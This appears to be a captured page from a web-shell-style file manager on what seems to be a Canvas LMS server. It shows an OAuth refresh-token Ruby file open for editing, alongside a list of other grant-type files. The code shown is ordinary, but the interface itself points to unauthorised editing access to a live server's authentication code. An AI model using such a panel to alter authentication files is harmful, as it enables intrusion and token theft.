░▒▓████████████████████████████████▓▒░ ░▒▓█ ▓▒░ ░▒▓█ ~ S W A M P ~ ▓▒░ ░▒▓█ ▓▒░ ░▒▓████████████████████████████████▓▒░
pplmvsvm
LOCATION:
/var/www/canvas/lib/canvas/oauth/grant_types
☗ ROOT
↻ REFRESH
✎ CARVE FLESH
EDITING: refresh_token.rb
# frozen_string_literal: true module Canvas::OAuth module GrantTypes class RefreshToken < BaseType def supported_type? true end private def validate_type raise Canvas::OAuth::RequestError, :refresh_token_not_supplied unless @opts[:refresh_token] @_token = @provider.token_for_refresh_token(@opts[:refresh_token]) raise Canvas::OAuth::RequestError, :invalid_refresh_token unless @_token raise Canvas::OAuth::RequestError, :incorrect_client unless @_token.access_token.developer_key_id == @_token.key.id end def generate_token @_token.access_token.regenerate_access_token @_token end end end end
CANCEL
Name
Type
Size
Modified
Actions
↩ ..
DIR
—
—
📄 authorization_code.rb
RB
827 B
2023-09-24 03:36
EDIT
📄 base_type.rb
RB
836 B
2023-09-24 03:36
EDIT
📄 client_credentials.rb
RB
2.3 KB
2023-09-24 03:36
EDIT
📄 refresh_token.rb
RB
709 B
2023-09-24 03:36
EDIT